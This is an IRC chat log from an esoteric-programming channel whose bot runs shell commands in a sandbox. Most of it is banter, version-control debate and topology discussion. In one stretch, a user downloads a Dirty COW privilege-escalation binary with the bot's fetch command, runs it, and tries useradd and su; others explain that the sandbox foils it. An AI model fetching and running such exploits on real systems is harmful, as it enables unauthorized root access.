19:44:09 <HackEgo> h heat for about 7 minutes. In a small saucepan, \ covered, for 6 to 7 minutes, add corn in the oil. Add the lemon juice \ and water in a double boiler or skillet. Spoon in the flour mixture \ to a boil. Drain the fruit. PLACE STEW ONCOAT. WITH COOKIES \ WITH THE LOW THE PAN. PER SERVING: 77g; PRO: 4g; MC \ : From oven the chilies. \ \ From
19:44:09 <HackEgo> links//links is one of the very few HTML renderers that doesn't try to store a full document tree with heavyweight objects for each node just in case javascript wants to modify it later, so it's the only engine that can render those HTMLs that are automatically converted from a PDF and put each letter in a separate element.
19:44:13 <wob_jonas> `random-card
19:44:13 <wob_jonas> `starwars
19:44:13 <HackEgo> Rey
19:44:14 <HackEgo> Angelic Captain \ 3RW \ Creature -- Angel Ally \ 4/3 \ Flying \ Whenever Angelic Captain attacks, it gets +1/+1 until end of turn for each other attacking Ally. \ BFZ-R
19:44:22 <wob_jonas> `coins
19:44:25 <HackEgo> symcoin sonicoin jotcoin alfoncoin mingycoin arrocoin ecchilosophcoin arrcoin fhatefullycoin envercoin divincoin snardcoin eldocoin surfacoin duncoin rcecoin harrelacoin rasscoin encycoin braicoin
19:45:02 <wob_jonas> nah, I think that's my wisdom. retry
19:45:02 <wob_jonas> `wisdom
19:45:03 <HackEgo> elrond//Elrond is a rogue program originally created to police the Matrix, eventually gaining increased individuality and becoming a threat to the Machines themselves.
19:45:05 -!- `^_^v has quit (Quit: Leaving).
19:45:16 -!- `^_^v has joined.
19:45:21 <moonythedwarf> but... Thats accurate. FIX NAO
19:45:30 <moonythedwarf> `wisdom wisdom
19:45:31 <HackEgo> the five wisdoms//The first of the five wisdoms is that there is only one wisdom.
19:45:37 <moonythedwarf> `? wisdom
19:45:38 <HackEgo> wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø?
19:46:12 <quinor> `` file /usr/bin/passwd
19:46:12 <HackEgo> ​/usr/bin/passwd: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fbb01025248f78c897f7dd01f5c1b7bdff5ee6d2, stripped
19:46:21 <quinor> `` ls -la /usr/bin/passwd
19:46:22 <HackEgo> ​-rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd
19:46:48 <quinor> `` uname -a
19:46:48 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
19:47:29 <quinor> `help
19:47:29 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
19:47:51 <wob_jonas> `wisdom
19:47:51 <wob_jonas> `quote
19:47:52 <HackEgo> 229) <fizzie> Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing.
19:47:52 <HackEgo> axiom of choice//The axiom of choice is equivalent to the Free Will Principle and Zeno's Lemma.
19:49:00 -!- hppavilion[0] has quit (Ping timeout: 240 seconds).
19:49:25 <quinor> `fetch of https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out
19:49:29 <HackEgo> 2017-04-17 18:48:58 URL:https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out [19843/19843] -> "of" [1]
19:49:35 <quinor> `file of
19:49:35 <HackEgo> of: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=fafa414f587cde321a646d38d3a818c127b89c02, not stripped
19:49:38 <quinor> `chmod +x of
19:49:39 <HackEgo> chmod: missing operand after ‘+x of’ \ Try 'chmod --help' for more information.
19:49:44 <quinor> `` chmod +x of
19:49:46 <HackEgo> No output.
19:50:07 <moonythedwarf> smells... Dirty.
19:50:09 <quinor> `./of
19:50:22 <quinor> `ls
19:50:22 <moonythedwarf> quinor, what does ./of do?
19:50:23 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ of \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ testfile \ tmflry \ tmp \ wisdom
19:50:39 <HackEgo> bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.3$
19:50:42 <quinor> moonythedwarf: it's dirty cow, supposed to elevate rights on unpatched kernel
19:50:58 <moonythedwarf> mk
19:51:17 <quinor> `` echo "whoami"
19:51:17 <HackEgo> whoami
19:51:25 <quinor> `` echo "whoami" | ./of
19:51:28 <moonythedwarf> hmm, enjoy you ioctl. Also, its not persistant.
19:51:30 <HackEgo> whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:51:58 <wob_jonas> quinor: put commands in ./bin unless there's a good reason not to
19:52:10 <moonythedwarf> ^
19:52:13 <wob_jonas> we like to keep the hackenv dir clear
19:52:15 <quinor> I wanna wipe it out when I'm done
19:52:25 <quinor> it's just a test
19:52:31 <quinor> shall I make private dir?
19:52:35 <moonythedwarf> go ahead.
19:52:45 <moonythedwarf> just remember the shell is not persistant, so your cd wont stick
19:52:59 <quinor> `` mkdir private
19:53:00 <HackEgo> No output.
19:53:12 <quinor> `` mv private quinor
19:53:13 <HackEgo> No output.
19:53:17 <quinor> `` mv of quinor/
19:53:19 <HackEgo> No output.
19:53:22 <quinor> `` ls quinor
19:53:23 <HackEgo> of
19:54:28 -!- hppavilion[1] has joined.
19:55:13 <quinor> `pwd
19:55:13 <HackEgo> ​/hackenv
19:55:15 <moonythedwarf> helloppavilion[1]
19:55:42 <moonythedwarf> quinor, btw, hackego has a compiler. it could compile what you need if its not too big
19:55:45 <moonythedwarf> `gcc
19:55:46 <HackEgo> gcc: fatal error: no input files \ compilation terminated.
19:55:50 <moonythedwarf> `make
19:55:51 <HackEgo> make: *** No targets specified and no makefile found. Stop.
19:56:06 <quinor> moonythedwarf: easier to paste it in
19:56:12 <quinor> `` echo "touch /hackenv/dupa" | ./quinor/of
19:56:13 <moonythedwarf> eh true
19:56:19 <HackEgo> DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:56:26 <quinor> `` file dupa
19:56:27 <HackEgo> dupa: empty
19:56:35 <quinor> `` ls -la dupa
19:56:35 <HackEgo> ​-rw-r--r-- 1 5000 0 0 Apr 17 18:55 dupa
19:57:21 <moonythedwarf> dont think it worked lol
19:57:28 <quinor> `` rm dupa
19:57:30 <HackEgo> No output.
19:57:40 <quinor> well you're obviously right
19:57:47 <quinor> is there even a root?
19:58:12 <moonythedwarf> dont think so actually. You'd have to ask Gregor how its set up, or check the UMLBox code (its available online)
19:59:34 <moonythedwarf> quinor, one attack surface foiled by good coding :P
19:59:45 <moonythedwarf> the 'root' route is a mirror
20:00:03 <quinor> ``ls -la /
20:00:04 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found
20:00:09 <quinor> `` ls -la /
20:00:10 <HackEgo> total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:59 etc \ drwxr-xr-x 26 5000 5000 4096 Apr 17 18:59 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:59 home \ d
20:00:18 <quinor> uid 0
20:00:25 <quinor> `` whereis useradd
20:00:27 <HackEgo> useradd: /usr/sbin/useradd /usr/share/man/man8/useradd.8.gz
20:00:28 <quinor> `` whereis adduser
20:00:30 <HackEgo> adduser: /usr/sbin/adduser /usr/share/adduser /usr/share/man/man8/adduser.8.gz
20:00:51 <quinor> `` ls -l /usr/bin/useradd
20:00:52 <HackEgo> ls: cannot access /usr/bin/useradd: No such file or directory
20:01:21 <quinor> `` echo "ls -l /usr/bin/useradd" | ./quinor/of
20:01:24 <HackEgo> ls: cannot access /usr/bin/useradd: No such file or directory \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
20:01:46 <moonythedwarf> quinor, you ment sbin lol
20:02:05 <quinor> `` echo "ls -l /usr/sbin/useradd" | ./quinor/of
20:02:08 <HackEgo> ​-rwxr-xr-x 1 0 0 121536 Feb 24 08:09 /usr/sbin/useradd \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
20:02:37 <quinor> `` echo "dupa" | passwd
20:02:38 <HackEgo> passwd: Cannot determine your user name.
20:02:39 <moonythedwarf> quinor, yup, you will never truely have root in UMLbox with a locked down user running it. Your dirty cow escalation just gives you said locked down user's perms, not root.
20:03:01 <quinor> I see, clever
20:03:15 <quinor> can I add a user with uid 0 then?
20:03:16 <moonythedwarf> (UMLBox doesnt need root to run)
20:03:22 <moonythedwarf> dont think so.
20:04:01 <moonythedwarf> umlbox code is here: https://bitbucket.org/GregorR/umlbox/wiki/Home
20:04:49 <quinor> yep
20:04:52 <quinor> I see
20:05:10 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51758&oldid=51736 * Orby * (+43) /* Instructions */ adding note about timing
20:06:11 <quinor> `` useradd kaczor
20:06:12 <HackEgo> ​/hackenv/bin/`: line 4: useradd: command not found
20:06:22 <quinor> `` /usr/sbin/useradd kaczor
20:06:23 <HackEgo> No output.
20:06:32 <quinor> `` su kaczor
20:06:33 <HackEgo> su: Cannot determine your user name.
20:06:44 <quinor> `` file /etc/passwd
20:06:45 <HackEgo> ​/etc/passwd: cannot open `/etc/passwd' (No such file or directory)
20:06:48 <moonythedwarf> quinor, you'd need to give yourself a username first.
20:07:41 <quinor> `` ls /tmp
20:07:42 <HackEgo> No output.
20:07:46 <quinor> `` ls /tmp/bak
20:07:47 <HackEgo> ls: cannot access /tmp/bak: No such file or directory
20:08:13 <moonythedwarf> same for passwd
20:08:15 <moonythedwarf> err
20:08:23 <moonythedwarf> /tmp is set readonly i bet
20:08:30 <moonythedwarf> (hexchat, that wasnt a command!)
20:08:34 <quinor> `` ls -l /tmp
20:08:35 <HackEgo> total 0
20:08:38 <quinor> `` ls -la /tmp
20:08:39 <HackEgo> total 0 \ drwxrwxrwt 2 0 0 40 Apr 17 19:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 19:08 ..
20:09:12 <quinor> `` touch /tmp/test
20:09:13 <HackEgo> No output.
20:09:15 <quinor> `` file /tmp/test
20:09:15 <HackEgo> ​/tmp/test: cannot open `/tmp/test' (No such file or directory)
20:09:31 <quinor> wtf
20:09:39 <moonythedwarf> readonly shenangins.
20:10:02 <moonythedwarf> `` ls /usr/tmp/bak
20:10:03 <HackEgo> ls: cannot access /usr/tmp/bak: No such file or directory
20:10:23 <quinor> its readonly but no output on write try
20:10:50 <quinor> `` touch /tmp/test 2>&1 1>o
20:10:52 <HackEgo> No output.
20:10:53 <quinor> `` cat o
20:10:54 <HackEgo> No output.
20:10:57 <quinor> `` rm o
20:10:58 <moonythedwarf> quinor, UMLbox lol
20:10:59 <HackEgo> No output.
20:11:06 <moonythedwarf> it fakes it.
20:11:39 <quinor> I see lol
20:14:49 <fizzie> There's a non-versioned persistent directory at tmp/ (technically /hackenv/tmp) if you want to fiddle around without cluttering the history.
20:15:01 <fizzie> (A little late now.)
20:15:25 <wob_jonas> hi, fizzie!
20:16:17 <moonythedwarf> quinor, ^ may want to do so, history doesnt like shenangins. Besides, i tried a dirty cow a long time ago.
20:16:49 <wob_jonas> but it's too easy to lose tmp
20:17:19 <moonythedwarf> if you want something permanant, then dont use tmp.
20:17:24 <moonythedwarf> also,
20:17:26 <moonythedwarf> `ls canary
20:17:27 <HackEgo> canary
20:17:30 <moonythedwarf> `cat canary
20:17:31 <HackEgo> No output.
20:17:34 <moonythedwarf> `rm canary
20:17:36 <HackEgo> No output.
20:17:43 <moonythedwarf> `cat canary
20:17:44 <HackEgo> No output.
20:17:56 <moonythedwarf> quinor, we have magical file syndrome that you will never delete. have fun.
20:18:31 <fizzie> /hackenv/tmp/ isn't really that hard to use until you want to move something out of there. If you never touch anything outside it, you don't get the consequences of the run-clean-rerun scheme.
20:19:01 <fizzie> Just don't try to "mv tmp/foo not-tmp/foo".
20:19:13 <moonythedwarf> fizzie, what does it do?
20:19:17 <moonythedwarf> `touch tmp/foo
20:19:18 <HackEgo> No output.
20:19:18 <wob_jonas> yeah
20:19:24 <moonythedwarf> `mv tmp/foo foo
20:19:24 <HackEgo> mv: missing destination file operand after ‘tmp/foo foo’ \ Try 'mv --help' for more information.
20:19:26 <fizzie> Removes tmp/foo.
20:19:33 <moonythedwarf> `` mv tmp/foo foo
20:19:35 <HackEgo> mv: cannot stat ‘tmp/foo’: No such file or directory
20:19:39 <moonythedwarf> heh
20:23:45 <hppavilion[1]> `unidecode ⇧
20:23:46 <HackEgo> ​[U+21E7 UPWARDS WHITE ARROW]
20:24:48 -!- Remavas-Hex has quit (Remote host closed the connection).
20:26:00 <quinor> moonythedwarf: what a fun little sandbox
20:26:11 <quinor> there is some magic in it
20:34:49 <Nistur> Blugh. Why does my brain hate me?
20:35:12 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
20:36:19 -!- Remavas-Hex has joined.
20:36:34 -!- Remavas-Hex has changed nick to Remavas.
20:37:06 -!- Remavas has changed nick to Remavas-Hex.
20:39:48 -!- Remavas-Hex has quit (Remote host closed the connection).
20:44:12 -!- Remavas-Hex has joined.
20:57:38 -!- otherbot has joined.
20:57:40 -!- otherbot has left.
20:58:46 -!- quinor has left ("Konversation terminated!").
21:05:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
21:10:02 -!- nycs has joined.
21:11:08 -!- `^_^v has quit (Ping timeout: 255 seconds).
21:38:57 -!- hppavilion[1] has joined.
21:40:34 <\oren\> Argh if only svn log had a reverse order option I wouldn't have had to write a stupid perl script to do that
21:41:56 <zzo38> You could also see if tac will do?
21:45:34 <fizzie> \oren\: svn log -r 1:HEAD
21:46:05 <fizzie> May not be exactly equivalent to the default, but -r 1:HEAD and -r HEAD:1 seem to produce the same output except in mutually reversed order.
21:46:23 <shachaf> `5 w
21:46:32 <HackEgo> 1/2:emac//emacs is the weird brother of nano. \ oklopol//oklopol "so i hear these blogs are getting popular, people like writing about their lives and shit. on this thing called the internet which is like a neural network only really stupid." \ infinitive//Infinitives are atomic verbs. They were first split in the 1940s, and the world has
21:46:34 <shachaf> `
21:46:35 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
21:46:43 <shachaf> `n
21:46:43 <HackEgo> 2/2:n't looked back since. \ tdnh//tdnh does not help \ atrix//Atrix is a brand of hand cream. Not to be confused with atriq.
21:46:57 <shachaf> `? atriq
21:46:58 <HackEgo> atriq or two
21:47:01 <shachaf> `5 widsom
21:47:06 <HackEgo> 1/2:ß/ß/ is not a beat. Its' a "scahrfes S", aka s wiht a scraf. \ pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze//Pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze is the gerne of the Auotbahn alubm "Naeglbett" acocrding to htpt://thdeailywtf.co/maritcles/YoH-o%2cY-o-Ho2%c-A-iPra
21:47:28 <shachaf> `n
21:47:29 <HackEgo> 2/2:tes-Lief-fo-rLee . \ enlgand//Enlgand is a cosnpiracy of catrographers. \ stduy//A stduy is motsly usleess unitl bakced up by futrher stduies. See stduies. \ xyzzy//Nohting happens.
21:47:42 <shachaf> `? studies
21:47:43 <HackEgo> Studies show lots of things. Nobody reads them, though. Also: this study contradicts this other study. These two studies agree, but were secretly paid for by the same company.
21:48:06 <hppavilion[1]> Has a dedicated IDE for Fungeoids ever been written?
21:48:33 <hppavilion[1]> it'd be cool, but rather horrible
21:48:38 <shachaf> `5 w
21:48:44 <HackEgo> 1/2:study//A study is mostly useless until backed up by further studies. See studies. \ dosh//The doshes are what the gostak distims. \ marriage//Marriage was made legal in the United States on 2015-06-26. \ copumpkin//copumpkin is categorically incapable of being president. \ glados//Hello, and again, welcome to the Aperture Science Comp
21:49:07 <\oren\> fizzie: oh... now why the heck isn't that documented in the output of svn help log...
21:49:13 <shachaf> `n
21:49:14 <HackEgo> 2/2:uter Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave.
21:49:20 <shachaf> \oren\: you could also use git-svn hth
21:49:21 <hppavilion[1]> Like, to be useful, you'd need (1) a way to choose which direction you type- perhaps ctrl+<arrow key> makes your cursor move in that direction and (2), optionally, a way to rotate the display
21:49:43 <\oren\> shachaf: git is total crap in terms of useablity
21:50:28 <shachaf> at least it supports `git log --reverse` hth
21:50:39 <shachaf> Also I don't think git is that bad. It's pretty simple.
21:50:51 <shachaf> There are only a few dozen edge cases you have to memorize.
21:51:07 <shachaf> But if you prefer you can use hg-svn.
21:51:23 <\oren\> I'd prefer svn-git
21:51:50 <\oren\> that is, a way to interact with git using the same centralized paradigm as svn
21:52:19 <zzo38> I prefer fossil myself.
21:57:03 <int-e> \oren\ comes across as a total asshole sometimes
21:57:05 <\oren\> I guess the ideal would be to have the simple commands and structure of svn and also have the *option* of local commits
21:59:02 <shachaf> i,i a fossil like \oren\?
21:59:31 -!- nycs has quit (Quit: This computer has gone to sleep).
22:00:48 <\oren\> I don't see how wanting simple commands for the most common case, where there's a central repository thst everyone checks out and commits to, is so controversial
22:01:20 <shachaf> I think central repositories are pretty good.
22:01:43 <shachaf> And I think git could be adapted to better support that use case in a few ways.
22:02:17 <shachaf> But in general it's pretty agnostic to this question?
22:02:33 <shachaf> You should learn how it works because the model has all sorts of benefits and things.
22:02:48 <int-e> I think \oren\ wants a single command that does all of git pull; git commit -a; git push
22:03:42 <int-e> (plus some handling of merging?)
22:04:18 <\oren\> correct
22:05:03 -!- orby_ has joined.
22:05:11 <shachaf> fizzie: Should git/hg use FUSE as the standard way to access your repository?
22:06:10 <callforjudgement> shachaf: I can see using that to update the index (although you'd still want a git add -p equivalent), but it seems awkward from an interface point of view to do commits that way
22:06:18 <\oren\> why can't git have a command, like git ci -m "fixed the bug where the index was off by one"
22:06:45 <int-e> shachaf: hmm I'd be much worried about semantics...
22:06:48 <callforjudgement> perhaps commits could show up as directories and you'd do the equivalent of cp -r to make a commit?
22:06:57 <shachaf> I mean in addition to standard git commands, not replacing them.
22:07:11 <shachaf> fizzie knows what I mean.
22:07:34 <shachaf> For example you can have each branch be represented as a directory.
22:07:50 <int-e> shachaf: I can see a sane read semantics, which would be cute
22:07:56 <shachaf> cd master; ...; cd ../branch_one; ...
22:08:01 <int-e> but less sure about writing
22:08:25 <\oren\> ok how about git commit-to-central -m "fixed the bug" with short form git ctc
22:08:40 <shachaf> \oren\: What about sending your code for code review before committing?
22:08:43 <shachaf> I mean before pushing.
22:09:00 <shachaf> I'm thinking of something similar to CitC, as briefly described in https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext
22:09:44 <\oren\> shachaf: do you do that with your personal github projects?
22:09:57 <shachaf> When I can?
22:10:08 <shachaf> GitHub is a bad code review tool as far as I can tell.
22:10:13 <shachaf> I don't like GitHub very much.
22:10:20 <shachaf> Some people say it's gotten better. I haven't tried recently.
22:11:15 <shachaf> Anyway, if you have a big repository and you switch branches or something, it's a bit silly to write out a bunch of files to the filesystem.
22:11:26 <shachaf> Especially if you never use those files. Maybe you don't even need to fetch them from the remote!
22:11:58 <shachaf> Also, if you have a FUSE filesystem representing your repository, `git status` etc. can be instant because it knows about all the changes that have been made.
22:12:11 <shachaf> (I guess you could do something similar with inotify.)
22:12:23 -!- hppavilion[1] has quit (Ping timeout: 268 seconds).
22:12:30 <int-e> \oren\: you could have a look at https://git.wiki.kernel.org/index.php/Interfaces,_frontends,_and_tools#Version_Control_Interface_layers and see if any of those alternative frontends fit your bill better
22:13:40 <zzo38> Not everyone is using GitHub, I think.
22:21:42 -!- hppavilion[1] has joined.
22:23:46 * Zarutian wonders what a platonic liquid would look like.
22:24:36 <int-e> `grwp -i klein
22:24:37 <HackEgo> grep: invalid option -- ' ' \ Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information.
22:24:42 <int-e> `` grwp -i klein
22:25:13 <HackEgo> No output.
22:25:22 <int-e> `quote klein
22:25:23 <HackEgo> No output.
22:25:57 <shachaf> `? klein bottle
22:25:58 <int-e> Zarutian: well I'd try filling it into a Klein bottle.
22:25:58 <HackEgo> A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside.
22:26:10 <int-e> hmm
22:26:17 <shachaf> `` grwp -i klein
22:26:20 <shachaf> `cat bin/grwp
22:26:21 <HackEgo> ​#! /bin/bash \ cd wisdom; shopt -s dotglob; grep -R "$@" -- *
22:26:26 <HackEgo> klein bottle:A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. \ tanebventions: math:Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, string diagrams, the reals, Lambek's lemma, Curry's paradox, algebraic geometry, locales, and histograms.
22:26:36 <shachaf> `? locale
22:26:37 <HackEgo> Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
22:26:43 <shachaf> `? histogram
22:26:45 <HackEgo> Histograms are diagrams showing histamine levels. Taneb invented them.
22:27:03 <shachaf> `? the torus
22:27:04 <HackEgo> Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his coffee out of.
22:27:58 <int-e> ... oh I think I've got a handle on that wisdom entry.
22:28:02 <Taneb> Thanks for pinging me half a dozen times
22:28:05 -!- MoALTz has quit (Quit: Leaving).
22:28:17 <int-e> Taneb: you're welcome
22:28:31 <Taneb> Fun fact: I don't drink coffee
22:29:31 <int-e> `slwd the torus//s/coffee/preferred beverage/
22:29:34 <HackEgo> the torus//Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his preferred beverage out of.
22:30:05 <shachaf> I have a double-walled tea glass.
22:30:09 <shachaf> What is that, topologically?
22:30:31 <int-e> Taneb: I think if I were you I'd ignore highlights coming from HackEgo :)
22:30:33 <Taneb> Does it have a handle
22:30:48 -!- Remavas-Hex has quit (Remote host closed the connection).
22:30:57 <callforjudgement> shachaf: I suspect it's the genus-2 solid that's embeddable in normal Euclidean space (there's only one of them)
22:30:59 <Taneb> int-e, that's quite a good idea
22:31:29 -!- Remavas-Hex has joined.
22:32:18 -!- Remavas-Hex has quit (Remote host closed the connection).
22:33:43 <\oren\> what would a torus with a torus removed from it be?
22:35:25 <\oren\> that is, an object with a toroid internal surface and toroid external surface, where the toroids can't be deformed into each other without passing through
22:36:23 <int-e> nothing, a torus, a sphere, a genus 2 or three thing, or a hollow torus?
22:36:30 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:37:07 <\oren\> oh I see, genus is only applicable to surfaces, not the body contianed in the surface
22:37:13 <int-e> (that was before the clarification. not sure whether the hollow torus has a name)
22:37:43 <callforjudgement> int-e: well if you punch a hole in it, it /becomes/ a torus (topologically), which rather implies it has genus 0; and yet it isn't a sphere
22:38:02 <callforjudgement> so I guess I was wrong in my previous guess
22:38:32 <callforjudgement> I guess you can change the coordinate system so it's equivalent to a (non-zero-thickness) plane, so perhaps it /is/ a sphere
22:39:04 <int-e> (I'm thinking of the solids anyway, not the surfaces. so the genus 2/3 thing is the solid containd in the corresponding surface)
22:39:15 -!- `^_^v has joined.
22:39:43 <\oren\> I guess if something has two unconnected surfaces they have separate genera
22:39:48 <int-e> oh it could become two spheres as well, I missed that case.
22:41:43 <\oren\> so a double-walled tea mug might have an external surface with genus 1 and a internal surface with genus 1, 0 or quite possibly 2 if the bottom is unhollow and the handle is hollow
22:42:05 <int-e> actually I'm doing something funny... I'm looking at the difference of two rigit tori (defined by their euclidean geometry), topologically.
22:42:15 <int-e> rigid
22:42:53 <int-e> but even so there are two ways of embedding a torus inside another...
22:46:13 -!- ybden has quit (Quit: ybden).
22:46:46 -!- ybden has joined.
22:47:19 <shachaf> ybden: hi ybden
22:47:25 <shachaf> are you related to ibsen twh
22:48:20 <ybden> I am not
22:48:22 <ybden> shelloachaf
22:49:02 -!- boily has joined.
22:49:08 <\oren\> ok well, i guess the corresponding "genus" of a solid is the maximum number of surfaces you can cut it along befor it is disconnacted
22:49:11 <rdococ> `? vm
22:49:12 <HackEgo> vm? ¯\(°​_o)/¯
22:49:25 <shachaf> don't do it
22:49:35 <rdococ> `le//rn vm//VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding.
22:49:38 <HackEgo> Learned 'vm': VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding.
22:49:59 <shachaf> `revert
22:50:00 <HackEgo> Done.
22:50:13 <rdococ> I'm sorry.
22:51:00 <boily> he\\oren\, helloochaf, *mapole rdococ*.
22:51:45 * rdococ is sorry for being alive
22:51:49 <rdococ> `? rdococ
22:51:51 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
22:51:54 <\oren\> so, if the internal surface of the mug has genus 0, you can do one cut (the handle) without disconnecting, so I think it has genus 1
22:52:39 <callforjudgement> what counts as a cut, though, in this circumstance?
22:52:48 <boily> are cuts planar?
22:52:54 <callforjudgement> do you have to go all the way through? or just cut one wall of the double-walled torus?
22:53:10 <callforjudgement> boily: this isn't even an abstraction level at which planes exist
22:53:30 <\oren\> I think it needs to be a surface all of whose edges are on a surface of the solid
22:54:01 <\oren\> so yeah I think ypu can cut jsut one wall
22:54:55 <callforjudgement> that doesn't put all the edges on a surface, though
22:55:06 <callforjudgement> I don't think there's any way to even reach the inner cavity under those rules
22:55:28 <rdococ> I'm sorry.
22:55:30 <callforjudgement> unless you cut an annular hole in it, which feels like cheating in another way
22:55:48 <callforjudgement> rdococ: why apologise?
22:56:13 <rdococ> Because I'm a failure.
22:56:24 <\oren\> rdococ: exams?
22:56:31 <rdococ> No.
22:56:38 <rdococ> I feel like all I am to this community is a nuisance.
22:57:08 <callforjudgement> rdococ: there's plenty of reasons I don't idle here very often, but you aren't one of htem
22:58:01 <\oren\> Hmm, I think you can cut along any connected surface where all edges are curves on one of the solid's surfaces
22:58:20 <callforjudgement> \oren\: thus allowing an annular cut?
22:58:36 <callforjudgement> if you make an annular cut on a regular torus, you cut it into two pieces
22:58:46 <\oren\> I mean, if I have a knife and a tire I can slash around the edge of it
22:59:24 <rdococ> callforjudgement, if you knew me better, I would be.
22:59:29 <\oren\> callforjudgement: Oh. no, the cut has to be a connected surface
23:00:33 <\oren\> and yeah, a solid torus can be cut in two with one cut
23:01:00 <\oren\> but a hollow torus can be done in two cuts
23:01:51 <\oren\> because the first time you slit it open and form a solid torus
23:02:03 <callforjudgement> rdococ: I'm in a pretty bad state at the moment too; April tends to be a bad month for my mental state, and it's possible I'm ill with something
23:02:17 <callforjudgement> I feel really frustrated when I fail to accomplish anything even during a timespan as short as 2 days or so
23:02:27 <callforjudgement> and feel that I'm only just keeping up with my job and have no time for hobbies
23:02:39 <shachaf> Jobs are scow.
23:02:45 <callforjudgement> but I'll snap out of it eventually, and whatever's holding you up, you're going to work things out too
23:02:45 <shachaf> They use up so much energy.
23:02:52 <\oren\> a lot of the people I know are really screwed with exams right now
23:03:07 <\oren\> I'm glad I'm in the workforce instead
23:03:43 <shachaf> The workforce is scow and so are exams.
23:03:57 <shachaf> How long are you planning to be in the workforce?
23:04:23 <Zarutian> rat race on an treadmill most work feels
23:04:24 <callforjudgement> I'm hoping to stay there quite a while
23:04:36 <callforjudgement> earning money is nice, and I have a job that I can enjoy sometimes
23:04:48 -!- hppavilion[1] has quit (Ping timeout: 268 seconds).
23:05:14 * Zarutian is mostly peeved how expensive all housing is where he lives.
23:05:54 <\oren\> shachaf: at least until 2040?
23:06:06 <shachaf> 2040? Why?
23:06:40 <rdococ> I don't want to do either.
23:06:51 <\oren\> 2040 is when I estimate the pitchfork-weilding mobs will start lynching the people who replaced them with soulless androids
23:06:58 <rdococ> What has the human race done to themselves?
23:07:17 <rdococ> They treat their children like ****, they treat others like ****...
23:07:23 <rdococ> Everything is ****
23:07:40 <shachaf> \oren\: So wouldn't you want to leave the workforce a while before then?
23:07:41 <\oren\> which I might end up being involved in, so I need to move to the moon or something
23:07:48 <callforjudgement> rdococ: well, if you're recognising the problem, then you being around makes things better on average
23:07:50 <shachaf> Then you can enjoy being part of the oppressing class.
23:08:03 <callforjudgement> leaving only the worst people around isn't going to fix anything
23:08:08 <rdococ> callforjudgement: I guess that is true.
23:08:21 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:08:40 <\oren\> I mean, I'm scared of jobless truckers with nothing to lose
23:08:51 -!- DHeadshot has joined.
